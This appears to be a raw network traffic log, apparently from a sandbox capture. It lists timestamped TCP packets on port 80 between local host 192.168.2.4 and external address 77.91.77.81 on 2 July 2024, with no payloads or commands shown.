Jul 2, 2024 15:26:27.996495008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996510029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.996509075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996521950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996525049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.996540070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.996543884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996556044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996563911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.996587038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997325897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997339010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997353077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997363091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997364998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997379065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997386932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997397900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997409105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997410059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997430086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997431993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997442961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997456074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997459888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997469902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997473001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997490883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.997493982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997515917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.997529984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998356104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998367071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998383999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998394012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998404026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998409986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998421907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998424053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998440981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998445034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998451948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998466969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998467922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998483896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998490095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998492956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998509884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998513937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998523951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.998528957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.998552084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.999233961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.999244928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.999260902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.999278069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.999303102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035101891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035125017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035135031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035154104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035185099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035257101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035267115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035284996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035295010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035301924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035315990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035340071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035523891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035532951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035556078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035562992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035566092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035581112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035584927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.035593033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.035615921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.038567066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.038578987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.038614035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.045830965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.045897961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.045911074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.045917988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.045949936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.045949936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046063900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046073914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046089888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046104908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046128988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046257019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046298981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046391010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046405077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046421051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046430111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046432018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046446085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046451092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046459913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046467066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046484947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046506882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.046775103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046783924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.046817064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082083941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082140923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082154989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082211018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082257032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082262993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082274914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082315922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082437992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082448006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082464933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082478046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082479954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082493067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082500935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082505941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082528114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082545042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082849026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082859039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082880974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082890987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.082895994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082916975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.082941055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083070993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083112955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083170891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083180904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083209991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083355904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083367109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083383083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083390951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083400011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083408117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083417892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083445072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083719969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083729982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083754063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083762884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083764076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.083789110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.083811998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084134102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084144115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084157944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084172010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084173918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084184885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084184885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084202051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084203005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084218025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084218979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084232092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084243059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084245920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084259987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084266901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084270954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084286928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.084294081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084314108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.084336996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085067034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085077047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085094929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085103035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085113049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085118055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085130930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085136890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085148096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085156918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085161924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085174084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085184097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085191965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085201025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085206985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085235119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085851908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085861921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085876942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085886955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085897923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085901022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085912943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085917950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085927963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085942030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085946083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085956097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085964918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085973024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.085979939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.085992098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086002111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086007118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086029053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086051941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086823940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086834908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086850882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086862087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086870909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086878061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086888075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086891890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086899042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086904049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086914062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086920977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086935043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086935043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086945057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086949110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086961985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086963892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086977959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.086987019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.086990118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087013960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.087035894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.087651968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087662935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087701082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.087734938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087748051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087764025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087773085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087778091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.087793112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087800026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.087802887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087819099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.087830067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.087855101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.125027895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125039101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125045061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125175953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125186920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125191927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125206947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125432968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.125484943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125494003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125509977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125523090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125534058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.125550985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.125577927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.125741005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125751019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125771999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125780106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.125782013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.125802040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.125828028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.135976076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136008978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136027098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136029959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136065006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136074066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136153936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136164904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136183977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136190891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136194944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136219025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136245966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136493921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136506081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136523008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136534929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136537075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.136558056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.136574984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.137202978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.137212992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.137228966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.137238979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.137244940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.137260914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.137289047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172192097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172274113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172462940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172506094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172508955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172518969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172548056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172561884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172580004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172619104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172693968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172704935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172774076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172857046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172878981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172892094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172897100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172909021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.172915936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.172945976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.173198938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.173208952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.173227072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.173235893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.173242092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.173253059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.173263073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.173297882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.173976898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.173996925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174009085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174021959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174021959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174037933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174041033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174047947 CEST	80	49744	77.91.77.81	192.168.2.4
